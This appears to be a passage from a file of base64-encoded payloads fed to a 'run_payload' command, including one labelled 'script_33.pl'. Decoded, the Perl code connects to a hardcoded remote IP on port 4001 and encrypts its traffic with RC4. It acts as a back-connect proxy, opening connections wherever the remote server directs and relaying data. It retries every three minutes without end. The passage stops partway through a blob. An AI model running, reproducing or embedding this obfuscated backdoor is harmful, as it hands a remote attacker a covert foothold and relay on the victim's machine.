nJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_33.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJC